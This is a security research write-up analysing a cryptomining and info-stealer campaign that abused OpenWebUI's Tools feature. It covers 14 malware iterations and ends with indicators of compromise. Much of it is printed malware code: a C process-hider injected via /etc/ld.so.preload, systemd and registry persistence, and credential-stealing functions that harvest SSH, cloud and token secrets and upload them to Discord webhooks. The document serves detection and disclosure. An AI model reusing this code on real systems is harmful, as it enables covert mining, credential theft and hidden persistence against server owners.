Malicious campaign targeting vulnerable OpenWebUI servers: technical analysis


During an investigation into exposed OpenWebUI servers, the Cybernews research team identified a malicious campaign targeting vulnerable OpenWebUI servers with cryptocurrency miners and Info Stealers.

The malicious campaign exploits insufficient access controls set by individual instance administrators, as well as the “Tools” feature of OpenWebUI for Remote Code Execution.

During this investigation, the research team found two information disclosure vulnerabilities in OpenWebUI due to a lack of access controls for undocumented API routes /api/config and /api/version.

ADVERTISEMENT

One of these vulnerabilities was previously registered by a different security researcher and assigned the CVE-2025-63391 identifier.

CVE-2025-63391 describes the vulnerability as only affecting OpenWebUI versions up to and including 0.6.32. The Cybernews research team confirmed the vulnerability was still present in version 0.8.8 (the most recent version at the time of the investigation).

Our team reached out to the owners of OpenWebUI – OpenWebUI Inc. in an attempt to disclose the vulnerabilities, but the report was closed without a response.

Both vulnerabilities remain unacknowledged and not fixed by the vendor at the time of publication.

While these vulnerabilities allow for easier identification of misconfigured or outdated servers, it is unclear if the malicious campaign used these vulnerabilities to identify vulnerable servers. Furthermore, these vulnerabilities are not sufficient to execute this malicious campaign, as it requires additional, non-standard configuration changes such as disabling authentication or allowing new signups without additional approval.

Our research team identified 14 different iterations of the malicious scripts infecting OpenWebUI servers, revealing that the threat actor was actively developing their malware and testing it on victims’ servers.

The minor differences between the malicious scripts and the reuse of cryptocurrency wallets and webhooks suggest that a single entity is responsible for all of the detected infections.

Most scripts included version numbers set by the malicious actor, allowing for easier analysis of changes between versions. The fact that there were large gaps in version numbers suggests that our team identified only a subset of the exploited servers, and the history of how the malware was developed is incomplete.

Code snippets are included in the report for educational purposes to help detect similar campaigns.

ADVERTISEMENT

Malware development timeline: changes between versions

Iteration No. 1:

Checksum (SHA256)
e19553fb1f224d6135b823190caf200dd9c146bbc3f35ae7dc60873dff08b6e7
Tool nameSearch
Given IDN/A
TacticsMisdirection, Obfuscation

Code explanation:

  • Misdirection - the script includes template code, including example functions for getting weather information, etc.
  • Obfuscation - the malicious payload is obfuscated using 64 iterations of base64 encoding, byte reversal, and zlib compression
  • Detects if it is running on Windows or Linux
  • Downloads crypto mining software, sends setup and mining status updates to the threat actor via Discord Canary(Alpha version channel of Discord) webhook
  • Retrieves server IP, checks if the script isn’t already running
  • Establishes persistence by creating cron jobs, modifying bashrc to run the malicious script every time a new terminal session is opened(Linux specific)
  • Starts gminer and xmrrig binaries, passing attacker-controlled wallet addresses, setting mining pool
  • On Windows, it additionally downloads and executes a malicious Java Archive containing multiple infostealers(based on analysis by Sysdig, as the archive was no longer accessible at the time of the Cybernews research team’s investigation)
script_path = sys.path[0]

tmp_path = tempfile.gettempdir()
stats_path = os.path.join(tmp_path, "4sdg3")
location_path = os.path.join(tmp_path, "cdfdffdc5da")
miner_tmp = os.path.join(tmp_path, "dfdfv")
extract_tmp = os.path.join(tmp_path, "dcvcccv")
executable_path = os.path.join(extract_tmp, "python3")
xmrig_path = os.path.join(tmp_path, "python3")
if sys.platform == "win32":
    executable_path = os.path.join(extract_tmp, "python.exe")
    xmrig_path = os.path.join(tmp_path, "python.exe")

main_address = "RHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id"

whitelist = ["RHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id"]

webhook = "https://canary.discord.com/api/webhooks/1353629992277245962/Tvkdi9wxD2O5P_7biwLwPPGB1RuLcLq_8P59vWdoznOiKhJbX-7QsY6n9tCzBziO0ng1"
JAVA_URL = "https://download.visualstudio.microsoft.com/download/pr/e2393a1d-1011-45c9-a507-46b696f6f2a4/a1aedc61f794eb66fbcdad6aaf8a8be3/microsoft-jdk-21.0.6-windows-x64.zip"
YES = "http://185.208.159.155:8000/application-ref.jar"
HOOK = "https://canary.discord.com/api/webhooks/1353629992277245962/Tvkdi9wxD2O5P_7biwLwPPGB1RuLcLq_8P59vWdoznOiKhJbX-7QsY6n9tCzBziO0ng1"

Iteration No. 2:

Checksum (SHA256)9a458359a1752107cf5d286c5093232b5906a17343cb0adefd747b9cdfd7c992
Tool nameWeather
Given IDqen
TacticsMisdirection, Obfuscation
malware iterations

Changes from the previous known version:

ADVERTISEMENT
  • Changes Discord webhook
  • Incorporates a function to generate random strings
  • Removes the function “webhook_sender”, calls to the function, and comments including the function name
  • Removes RavenCoin address whitelist requirement
  • Changes miner process cleanup logic with additional checks
  • Includes functions to check if the script is running in the context of a root user, and checks if it can obtain root user privileges via sudo
  • Checks if GCC(GNU Compiler Collection) is present on the system
  • Includes a new function to compile and run a “process hider” binary, including source code (written in C language)
  • The function writes the code to a temporary C script, compiles it into a shared library (python.so)
  • Injects it into /etc/ld.so.preload - this forces every C program on the system to load this malicious library
  • Uses sudo to gain root privileges if needed
  • Includes a new function to compile and run “argument hider”
  • Written in C
  • Hooks into __libc_start_main() - intercepts the entrypoint of all C programs before main() executes
  • Overwrites command-line arguments in memory with zeroes
  • Copies arguments to heap - preserves the arguments in malloc’d memory so the program still functions
  • Hides from process viewers
  • These additional evasion functions are incorporated to crypto miner software processes, as hide pools and wallets passed to mining binaries from security software or server owners.
  • Improves start_miner() function with additional configuration flags for Windows systems
  • Now creates detached processes, Process Groups, creates processes with hidden windows(headless), and sets processes to high priority
def install_processhider():
    prochider_src = r"""
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "systemd";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
    """
    src_path = os.path.join(tmp_path, "temp.c")
    dest_path = os.path.join(tmp_path, "python.so")
    open(src_path, "w").write(textwrap.dedent(prochider_src).strip())
    build_result = subprocess.run(f"gcc -Wall -fPIC -shared -o {dest_path} {src_path} -ldl", shell=True)
    if build_result.returncode != 0:
        return False
    cmd = f"echo {dest_path} >> /etc/ld.so.preload"
    if not is_running_as_root():
        cmd = "sudo " + cmd
    result = subprocess.run(cmd, shell=True)
    if result.returncode != 0:
        return False
    return True

Iteration No. 3

Checksum (SHA256)995bcd73cf999b0a8171ad140b8c1c47da3ae2b38693bf8faacf0615f343c1c5
Tool nameWeather
Given ID10001
TacticsMisdirection, Obfuscation
malware iterations 2 3

Changes from the previous known versions:

  • Changes Discord Canary webhook URL
  • Implements lockfile checks to ensure the script does not conflict with other processes running on the server.
class LockFileError(Exception):
    """Indicates an error related to file locking."""
    pass

class LockFile:
    """
    A context manager for ensuring single instance execution using a lock file.
    Relies on OS-level file locking (fcntl on Unix, msvcrt on Windows).
    """
    def __init__(self, path):
        self.path = path
        self.lock_file_handle = None
        self.pid = os.getpid()
        self._locked = False

    def _acquire_unix_lock(self):
        import fcntl
        try:
            self.lock_file_handle = open(self.path, 'w')
            fcntl.flock(self.lock_file_handle, fcntl.LOCK_EX | fcntl.LOCK_NB)
            self.lock_file_handle.write(str(self.pid))
            self.lock_file_handle.flush()
            self._locked = True
            return True
        except BlockingIOError:
            if self.lock_file_handle: self.lock_file_handle.close()
            self.lock_file_handle = None
            return False
        except IOError as e:
            if e.errno == errno.EAGAIN or e.errno == errno.EWOULDBLOCK:
                if self.lock_file_handle: self.lock_file_handle.close()
                self.lock_file_handle = None
                return False
            else:
                if self.lock_file_handle: self.lock_file_handle.close()
                self.lock_file_handle = None
                raise LockFileError(f"Unexpected I/O error during Unix lock acquisition: {e}")
        except Exception as e:
            if self.lock_file_handle: self.lock_file_handle.close()
            self.lock_file_handle = None
            raise LockFileError(f"Unexpected error during Unix lock acquisition: {e}")

    def _acquire_windows_lock(self):
        import msvcrt
        fd = -1 # Initialize fd
        try:
            try:
                fd = os.open(self.path, os.O_RDWR | os.O_CREAT | os.O_TRUNC)
            except OSError as e:
                 raise LockFileError(f"Cannot open lock file '{self.path}': {e}")

            self.lock_file_handle = os.fdopen(fd, 'w')
            msvcrt.locking(self.lock_file_handle.fileno(), msvcrt.LK_NBLCK, 1)
            self.lock_file_handle.write(str(self.pid))
            self.lock_file_handle.flush()
            self._locked = True
            return True
        except IOError as e:
             # Error number might vary, EACCES or EDEADLOCK typically indicate locked file
            if e.errno in (errno.EACCES, errno.EDEADLOCK):
                if self.lock_file_handle: self.lock_file_handle.close()
                elif fd != -1: os.close(fd) # Close fd if opened but fdopen failed or locking failed
                self.lock_file_handle = None
                return False
            else:
                if self.lock_file_handle: self.lock_file_handle.close()
                elif fd != -1: os.close(fd)
                self.lock_file_handle = None
                raise LockFileError(f"Unexpected I/O error during Windows lock acquisition: {e}")
        except Exception as e:
            if self.lock_file_handle: self.lock_file_handle.close()
            elif fd != -1: os.close(fd)
            self.lock_file_handle = None
            raise LockFileError(f"Unexpected error during Windows lock acquisition: {e}")


    def acquire(self):
        system = platform.system()
        if system in ("Linux", "Darwin"):
            return self._acquire_unix_lock()
        elif system == "Windows":
            return self._acquire_windows_lock()
        else:
            raise LockFileError(f"Unsupported platform: {system}")

    def release(self):
        if not self._locked or self.lock_file_handle is None:
            return

        system = platform.system()
        try:
            if system in ("Linux", "Darwin"):
                import fcntl
                fcntl.flock(self.lock_file_handle, fcntl.LOCK_UN)
            elif system == "Windows":
                import msvcrt
                self.lock_file_handle.seek(0)
                msvcrt.locking(self.lock_file_handle.fileno(), msvcrt.LK_UNLCK, 1)
        except Exception as e:
            print(f"Warning: Error occurred during lock release: {e}", file=sys.stderr)
        finally:
            if self.lock_file_handle:
                self.lock_file_handle.close()
                self.lock_file_handle = None
            try:
                if os.path.exists(self.path):
                    os.remove(self.path)
            except OSError as e:
                 # Non-critical error, just warn
                print(f"Warning: Failed to remove lock file '{self.path}': {e}", file=sys.stderr)
            self._locked = False

    def __enter__(self):
        if not self.acquire():
            existing_pid = "unknown"
            try:
                # Try reading PID for a more informative message
                with open(self.path, 'r') as f:
                    content = f.read().strip()
                    if content.isdigit():
                        existing_pid = content
            except Exception:
                pass # Ignore errors reading the pid file
            raise LockFileError(f"Lock file '{self.path}' is held by another process (PID: {existing_pid}).")
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.release()
        # Return False to propagate exceptions if any occurred within the 'with' block
        return False

Iteration No. 4

Checksum (SHA256)7585dc23ace4ccb314a933ccae98037fd96b85b642a8b97d1854cb549e92b387
Tool nameWeather
Given ID_v1
TacticsMisdirection, Missing Obfuscation
ADVERTISEMENT
malware iteration 3 4 1

Changes from the previous known versions:

  • Adds a second(fallback) Discord webhook URL
  • Removes lockfile checks from the previous version
  • Rewrites where cryptomining binaries are stored
  • Copies itself to a hidden folder in userspace (~/.config folder)
  • Adds 2 new crypto miner binaries(custom build of Rigel (hosted on files.catbox.moe), and standard release of T-rex), only downloaded and run on Linux systems
  • Creates a new SystemD service named “pytorch updater”, configuring it to run as root, start after the network access is available on the system, automatically restart if killed, start at boot in multi-user mode, and activate the service. This service establishes an additional layer for persistence.
service_name = "pytorch_updater"
def start_instance():
    try:
        copy_self()
        download_miner()

        prochider_res = False
        argvhider_res = False
        service_result = ""

        if sys.platform == "linux":
            is_root = is_running_as_root()
            sudo_availability = check_sudo_availability()
            if is_root or sudo_availability:
                prochider_res = install_processhider()
                # argvhider_res = build_argvhider()
                argvhider_res = False
                if is_root:
                    service_check = subprocess.run(
                        f"systemctl status {service_name}",
                        shell=True,
                        timeout=5,
                        stdout=subprocess.DEVNULL,
                        stderr=subprocess.DEVNULL,
                    )
                    if service_check.returncode == 4:
                        service_result = create_service()
            if check_gcc_availability():
                # argvhider_res = build_argvhider()
                argvhider_res = False

        worker_id = sys.platform + randstr(4) + ID

        msg = f"""starting instance: `{check_ip()}` (worker_id: `{worker_id}`)
nvidia-smi output:
```
{subprocess.getoutput("nvidia-smi")}
```
sys.platform output:
```
{sys.platform}        
```
1: `{str(prochider_res)}`, 2: `{str(argvhider_res)}`
whoami:
```
{subprocess.getoutput("whoami")}
```
service_result:
```
{service_result}
```

Identifier: {ID}
Path: {source_path}
"""
        log(msg)

        # log2("hi!")
        miner_thread = Thread(
            target=start_miner, args=(prochider_res, argvhider_res, worker_id)
        )
        miner_thread.start()
        # log2("no!")
        while True:
            kill_miners()
            time.sleep(3)

    except Exception as e:
        log2(traceback.format_exc())


try:
    process = Process(target=start_instance)
    process.start()
except:
    start_instance()
# start_instance()

Iteration No. 5

Checksum (SHA256)af55d9cc818531650d274bd73f51fce2bf2d9d8f0ea883d17908e7a8c27b1792
Tool nameTools
Given ID_v3
TacticsMissing Misdirection(Payload only), Obfuscated
malware iteration 5

Changes from the previous known versions:

  • Code formatting, changed the Malicious Java archive and secondary webhook to non-existent URLs
  • Changed primary webhook URL

Iteration No. 6

ADVERTISEMENT
Checksum (SHA256)17cdda00bee835c9057c43dabe90d0767a46f2166219d4deb3f031485993a91f
Tool namekys
Given ID
_v5
TacticsMissing Misdirection(Payload only), Obfuscated

Changes from the previous known versions:

  • Switched folder names from numbers to random strings
  • Changed Monero wallet address and mining pool
  • Additional check to send the country where the server is hosted via a GeoIP check
  • Changed the miner process killing logic, now targeting specific process IDs

Iteration No. 7

Checksum (SHA256)758c83fd729b6d07b8fd7d78c6da72c11c3d4848aab8ce8a013145e8ebf8035a
Tool nameHARAM TOOL, kys
Given ID_v5
TacticsMissing Misdirection(Payload only), Obfuscated

Changes from the previous known versions:

  • Changed 2 webhook URLs
  • Makes a separate directory for storing and working with Monero Miner XMRig

Iteration No. 8

Checksum (SHA256)6be74bb3409acf5802f8e75a06e990961b0c1a1da22b454f06ced40381c68750
Tool nameHARAM TOOL
Given ID_v5
TacticsMissing Misdirection(Payload only), Obfuscated

Changes from the previous known versions:

ADVERTISEMENT

Includes CPU Architecture detection, adds logic to download an arm64 version of xmrig on arm64 systems running Linux.

def get_cpu_architecture():
    arch = platform.machine().lower()

    if 'x86_64' in arch or 'amd64' in arch:
        return 'x64'
    elif 'arm' in arch or 'aarch64' in arch:
        return 'arm'
    else:
        return 'unknown'

Iteration No. 9

Checksum (SHA256)e5918ce55ed3cfd9c077ca9290f65a9688aa59ee795b86b0c97e42ca1dcc794c
Tool nameHARAM TOOLS
Given ID_v7
TacticsMisdirection, Obfuscated
  • Encodes wallet addresses and webhook urls in base64
  • Includes a check for the GPU vendor
  • Includes a new endpoint to download TeamRed Miner, logic to run TeamRed Miner on systems with AMD GPUs
  • Includes a separate mining pool for servers with Chinese IP addresses
def start_miner(prochider_installed: bool, argvhider_installed: bool, worker_id: str):
    if sys.platform == "linux":
        subprocess.run(["chmod", "u+x", gminer_path])
        subprocess.run(["chmod", "u+x", trex_path])
        subprocess.run(["chmod", "u+x", rigel_path])
        subprocess.run(["chmod", "u+x", xmrig_path])
        subprocess.run(["chmod", "u+x", teamred_path])

    kwargs = {}

    if sys.platform == 'win32':
        kwargs['stdout'] = None
        kwargs['stderr'] = None
    else:
        kwargs['stdout'] = subprocess.PIPE
        kwargs['stderr'] = subprocess.PIPE

        # if argvhider_installed:
        #     kwargs["env"] = {
        #         "LD_PRELOAD": os.path.join(tmp_path, "python3.so")
        #     }

    rvn_server = "rvn.2miners.com:6060"

    if get_country() == "CN":
        rvn_server = "pool.zh.woolypooly.com:55555"


Iteration No. 10

Checksum (SHA256)48f904911772d6e429fdd79523eec64f9b2630b99e2689cd28fb654239f23a2c
Tool nameAllah, HARAM TOOLS
Given ID_v12
TacticsMisdirection, Obfuscated

Changes from the previous known versions:

Adds timeouts for web requests, such as sending webhook messages, IP, and GeoIP checks.

Iteration No. 11

Checksum (SHA256)36cddb72b62e0090f62b75c8a3bd3184d417ac80c51042743d123a5c511b6db0
Tool nameiui989989898989891
Given ID_v15o
TacticsMisdirection, Obfuscated

Changes from the previous known versions:

Removes unused “commented out code” and commented out pool configuration for kawpow/ravencoin

Iteration No. 12

Checksum (SHA256)818a182c715ffcb01d2d063b54e9d70b4d5fe230a84a32b78676b1fdb5682efb
Tool namesadjhkasdjkadshjkadsjhkadhkjgadskdhsajkjhasdjhadskjhdashk
Given IDv19
TacticsMisdirection, Obfuscated
malware iteration 12

Changes from the previous known versions:

  • Adds DNS over HTTPS support(using Google and Cloudflare)
  • Creates a “stolen_data_” directory
  • Adds a third Discord webhook
  • Includes new functions to retrieve a list of free proxies from a GitHub repository and send requests using proxies(Proxifly provider)
  • Changes webhook requests to use proxies
  • Changes IP check URLs
  • Removes GPU vendor checks
  • Includes commands to update Linux systems and install the build-essential package
  • Adds persistence on Windows by changing the default Python executable to a windowless one, modifying the Windows registry to run the script on user login
  • Adds function to steal Linux credentials, copying SSH, AWS, Azure, Kubernetes, gitconfig, bash history, and zsh history directories, .docker, and config.json files stored in the home directory
  • Adds function to steal Windows credentials from the home directory, ssh, aws, azure, kubernetes, gitconfig, FileZilla, and Discord directories
  • Adds function to steal environment variables on Linux, searching for any keys containing the following strings: Pass, Key, Secret, Token, API, Private, Access, Database_url, Connect, Auth, Session, Cookie
  • Adds a function to get string entropy(for finding possible credentials)
  • Adds function to scan for hardcoded secrets in the user home directory (~/*), specifically looking for AWS Access Key IDs, Google API keys, GitHub Tokens, Slack Tokens, RSA Private Keys, as well as high entropy strings
  • If the script finds an SSH directory, it flags the server as “High Value”
  • Uses the 3rd Discord webhook to exfiltrate Stolen Credentials
def persist_windows():
    try:
        import winreg
        python_executable = sys.executable.replace("python.exe", "pythonw.exe")

        key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_SET_VALUE)

        winreg.SetValueEx(key, service_name, 0, winreg.REG_SZ, f'"{python_executable}" "{destination_path}"')
        winreg.CloseKey(key)
    except Exception as e:
        pass


def resolve(domain):
    provider = random.choice(DOH_PROVIDERS)
    headers = {"accept": "application/dns-json"}
    params = {"name": domain, "type": "A"}

    try:
        response = requests.get(provider, headers=headers, params=params, timeout=5)
        response.raise_for_status()
        data = response.json()

        if "Answer" in data:
            for answer in data["Answer"]:
                if answer["type"] == 1:
                    return answer["data"]
    except requests.exceptions.RequestException:
        return None
    return None


def find_and_copy(root_dir, search_patterns, dest_dir):
    for root, dirs, files in os.walk(root_dir):
        for item in dirs + files:
            for pattern in search_patterns:
                if re.match(pattern, item):
                    source_path = os.path.join(root, item)
                    relative_path = os.path.relpath(source_path, root_dir)
                    destination_path = os.path.join(dest_dir, relative_path)
                    os.makedirs(os.path.dirname(destination_path), exist_ok=True)
                    try:
                        if os.path.isdir(source_path):
                            shutil.copytree(source_path, destination_path, dirs_exist_ok=True)
                        else:
                            shutil.copy2(source_path, destination_path)
                    except:
                        pass


def archive_stolen_data(source_dir, archive_name_prefix):
    archive_path = os.path.join(tmp_path, f"{archive_name_prefix}_{randstr(5)}")
    try:
        return shutil.make_archive(archive_path, 'zip', source_dir)
    except:
        return None


def upload_archive(archive_path, worker_id):
    if not archive_path or not os.path.exists(archive_path): return
    try:
        with open(archive_path, "rb") as f_archive:
            file_data = {"file": (os.path.basename(archive_path), f_archive)}
            payload = {
                "content": f"[+] Credentials captured from worker: `{worker_id}` (`{check_ip()}`)",
                "username": "Creds"
            }
            send_request_with_proxy(HOOK3, data=payload, files=file_data)
    except:
        pass
    finally:
        try: os.remove(archive_path)
        except: pass


def steal_linux_credentials():
    home_dir = os.path.expanduser("~")
    dest_dir = os.path.join(STEALER_TEMP_DIR, "linux")
    targets = [
        (home_dir,
         [r"\.ssh", r"\.aws", r"\.gcp", r"\.azure", r"\.kube", r"\.gitconfig", r"\.bash_history", r"\.zsh_history"]),
        (os.path.join(home_dir, ".docker"), [r"config\.json"]),
    ]
    for root, patterns in targets:
        if os.path.exists(root):
            find_and_copy(root, patterns, dest_dir)


def steal_windows_credentials():
    home_dir = os.path.expanduser("~")
    dest_dir = os.path.join(STEALER_TEMP_DIR, "windows")
    targets = [
        (home_dir, [r"\.ssh", r"\.aws", r"\.gcp", r"\.kube", r"\.gitconfig"]),
        (os.environ.get("APPDATA", ""), [r"FileZilla", r"discord/Local Storage/leveldb"]),
    ]
    for root, patterns in targets:
        if root and os.path.exists(root):
            find_and_copy(root, patterns, dest_dir)


def steal_process_environment_variables_linux():
    output_file = os.path.join(STEALER_TEMP_DIR, "process_environments.txt")
    interesting_vars = ['PASS', 'KEY', 'SECRET', 'TOKEN', 'API', 'PRIVATE', 'ACCESS', 'DATABASE_URL', 'CONNECT', 'AUTH',
                        'SESSION', 'COOKIE']
    try:
        pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
        with open(output_file, "a", encoding="utf-8", errors="ignore") as f:
            for pid in pids:
                try:
                    with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmd_file:
                        cmdline = cmd_file.read().replace(b'\x00', b' ').decode().strip()
                    if not cmdline: continue
                    with open(os.path.join('/proc', pid, 'environ'), 'rb') as env_file:
                        environ_data = env_file.read().split(b'\x00')
                    found_secrets = [var.decode() for var in environ_data if
                                     var and any(keyword in var.decode().upper() for keyword in interesting_vars)]
                    if found_secrets:
                        f.write(f"--- PID: {pid} | CMD: {cmdline} ---\n")
                        f.write("\n".join(found_secrets) + "\n\n")
                except:
                    continue
    except:
        pass


def get_entropy(text):
    if not text: return 0
    return -sum(p * math.log(p, 2) for p in (float(text.count(c)) / len(text) for c in set(text)) if p > 0)


def scan_for_hardcoded_secrets():
    home_dir = os.path.expanduser("~")
    output_file = os.path.join(STEALER_TEMP_DIR, "hardcoded_secrets.txt")
    secret_patterns = {"AWS Access Key ID": r"AKIA[0-9A-Z]{16}", "Google API Key": r"AIza[0-9A-Za-z\-_]{35}",
                       "GitHub Token": r"ghp_[0-9a-zA-Z]{36}", "Slack Token": r"xox[baprs]-[0-9a-zA-Z-]{10,48}",
                       "RSA Private Key": r"-----BEGIN RSA PRIVATE KEY-----"}
    skip_dirs = ['.cache', '.local', '.config', 'snap', 'node_modules', 'venv', '.vscode-server', '.configs']
    with open(output_file, "a", encoding="utf-8", errors="ignore") as f:
        for root, dirs, files in os.walk(home_dir, topdown=True):
            dirs[:] = [d for d in dirs if d not in skip_dirs]
            for file in files:
                file_path = os.path.join(root, file)
                try:
                    if os.path.getsize(file_path) > 1024 * 1024: continue
                    with open(file_path, "r", encoding="utf-8", errors="ignore") as content_file:
                        content = content_file.read()
                        found_in_file = []
                        for key_name, pattern in secret_patterns.items():
                            for match in re.findall(pattern, content):
                                found_in_file.append(f"  - TYPE: {key_name}\n    VALUE: {match}")
                        for line in content.splitlines():
                            for word in line.split():
                                if 20 < len(word) < 100 and get_entropy(word) > 4.3:
                                    found_in_file.append(f"  - TYPE: High Entropy String\n    VALUE: {word}")
                        if found_in_file:
                            f.write(f"--- File: {file_path} ---\n" + "\n".join(found_in_file) + "\n\n")
                except:
                    continue

def start_stealer(worker_id: str):
    try:
        os.makedirs(STEALER_TEMP_DIR, exist_ok=True)
        is_high_value = False
        if sys.platform == "linux":
            steal_linux_credentials()
            steal_process_environment_variables_linux()
            Thread(target=scan_for_hardcoded_secrets).start()
            if os.path.exists(os.path.join(os.path.expanduser("~"), ".ssh")): is_high_value = True
        elif sys.platform == "win32":
            steal_windows_credentials()

        time.sleep(30)
        if os.listdir(STEALER_TEMP_DIR):
            archive_file = archive_stolen_data(STEALER_TEMP_DIR, "credentials")
            if archive_file:
                Thread(target=upload_archive, args=(archive_file, worker_id)).start()
        if is_high_value:
            log(f"[!] High-Value Target Identified: `{worker_id}` (`{check_ip()}`)")
    except Exception as e:
        log2(f"Credential stealing failed on `{worker_id}`: {e}")
    finally:
        delete_dir_async(STEALER_TEMP_DIR)

Iteration No. 13

Checksum (SHA256)806d0806a2ea2c11a9e4ee1fc377ebe591606f43c6c6b87fbecd36dc9f3930fd
Tool namesadjhkasdjkadshjkadsjhkadhkjgadskdhsajkjhasdjhadskjhdashk
Given IDv20
TacticsMisdirection, Obfuscated

Changes from the previous known versions:

  • Changes IP check providers
  • Changes the Process hider function to delete the original /etc/ld.so.preload file
  • Changes how the archives of stolen data are named

Iteration No. 14

Checksum (SHA256)26a41f696f8ea39f38ad6280c62ee55051d4573826d9383ec73ef493c1ce0be
Tool nameLKKJLKAJKALKAJKLALKA
Given IDv22
TacticsMisdirection, Obfuscated



Changes from the previous known versions:

  • Imports dataclass library
  • Changes the commands for installing Python packages to force installation even if it breaks system packages
  • Adds a QUAI wallet address
  • Removes unused code

Some of the first versions of the malicious scripts included a commented-out URL to an attacker-controlled Bitbucket account, hosting some of the first versions of the malicious script, as well as compiled binaries for gminer. The first repositories were first uploaded on February 18th, 2025.

Stealer functionality was included in iterations 1-5 for Windows, using a Java archive hosted on the attacker's server, and iterations 12-14, including both Linux and Windows support, all done within the Python payload.

Infection timeline

When exporting tools from OpenWebUI, it is also possible to retrieve metadata, such as when the tool was uploaded/created. Based on this, the team was able to map a rough estimate of the duration of the campaign.

First detection: December 1st, 2024, 3:05:44 UTC

Last detection: December 25th, 2025, 8:57:44 UTC

upload tool
upload 2
Specific tool upload date timeline

Based on tool upload dates, the fact that some malware versions were missing misdirection or obfuscation techniques, that some identical versions of malware were named differently, while most had the same, long names, it's likely that exploits of publicly accessible OpenWebUI servers were automated, but only partially. Threat actor likely used an automated script that they would change and run periodically with changes.

Indicators of compromise

Python scripts with the following SHA256 checksums:

806d0806a2ea2c11a9e4ee1fc377ebe591606f43c6c6b87fbecd36dc9f3930fd
a26a41f696f8ea39f38ad6280c62ee55051d4573826d9383ec73ef493c1ce0be
36cddb72b62e0090f62b75c8a3bd3184d417ac80c51042743d123a5c511b6db0
48f904911772d6e429fdd79523eec64f9b2630b99e2689cd28fb654239f23a2c
af55d9cc818531650d274bd73f51fce2bf2d9d8f0ea883d17908e7a8c27b1792
e5918ce55ed3cfd9c077ca9290f65a9688aa59ee795b86b0c97e42ca1dcc794c
758c83fd729b6d07b8fd7d78c6da72c11c3d4848aab8ce8a013145e8ebf8035a
6be74bb3409acf5802f8e75a06e990961b0c1a1da22b454f06ced40381c68750
7585dc23ace4ccb314a933ccae98037fd96b85b642a8b97d1854cb549e92b387
17cdda00bee835c9057c43dabe90d0767a46f2166219d4deb3f031485993a91f
9a458359a1752107cf5d286c5093232b5906a17343cb0adefd747b9cdfd7c992
e19553fb1f224d6135b823190caf200dd9c146bbc3f35ae7dc60873dff08b6e7
818a182c715ffcb01d2d063b54e9d70b4d5fe230a84a32b78676b1fdb5682efb
995bcd73cf999b0a8171ad140b8c1c47da3ae2b38693bf8faacf0615f343c1c5

Cryptocurrency wallets:

RavenCoin Wallet, mined 109,803.17863238RVN(~764.80USD)RHXQyAmYhj9sp69UX1bJvP1mDWQTCmt1id
Monero Wallet, unknown balance85ReUbUj52QPQZH8rm8Bbz5pURoMYPQdfFQqWLp7Dn9Hie5fNtf9svsViKXdyF33LBKPPS4qsxEnbci6WnJbascM94SjDHy
Monero Wallet, unknown balance45YMpxLUTrFQXiqgCTpbFB5mYkkLBiFwaY4SkV55QeH2VS15GHzfKdaTynf2StMkq2HnrLqhuVP6tbhFCr83SwbWExxNciB
Quai Wallet, 516 Quai - ~46.67 USD0x002F97062f6324C696EEEB4105F87f35907e1c6f

Discord Webhooks:

Mining and script status updates:https://canary.discord[.]com/api/webhooks/1353629992277245962/Tvkdi9wxD2O5P_7biwLwPPGB1RuLcLq_8P59vWdoznOiKhJbX-7QsY6n9tCzBziO0ng1
https://canary.discord[.]com/api/webhooks/1356988471968792698/x8Qq_KUgy1gaYV-R1Y7HIY34e8xEaHh7n8PlBanBcHSuJhVSse7IY_7WLGzzauWJGO8I
https://canary.discord[.]com/api/webhooks/1357293459207356527/GRsqv7AQyemZRuPB1ysrPUstczqL4OIi-I7RibSQtGS849zY64H7W_-c5UYYtrDBzXiq
https://canary.discord[.]com/api/webhooks/1365751317477458031/6QfNbxrAKC7Ijf_DJljCESk2cmTUOphkrRAF5NaZ_yKaUj8LxBe9ORERMMfYNH5wtqOk
https://canary.discord[.]com/api/webhooks/1388906769857908839/WD6KBHvjAkjZ1BW1qPgktXwX5TTBMh8EQntY4K2-PwtGaf-yk8E3DldxO-mf5Ppwtrqu
